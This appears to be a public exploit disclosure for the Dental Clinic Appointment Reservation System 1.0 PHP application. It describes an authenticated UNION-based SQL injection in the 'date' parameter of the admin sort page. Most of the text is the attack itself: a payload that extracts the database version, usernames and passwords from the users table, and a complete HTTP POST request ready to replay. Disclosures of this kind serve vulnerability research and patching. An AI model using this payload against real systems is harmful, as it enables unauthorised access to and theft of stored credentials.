Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)

# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# the 'date' POST parameter is vulnerable to UNION-based SQL Injection
# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.
# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -

# Proof of concept:
http://localhost/admin/sort_date.php

POST /admin/sort_date.php HTTP/1.1
Host: localhost
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/sort_date.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=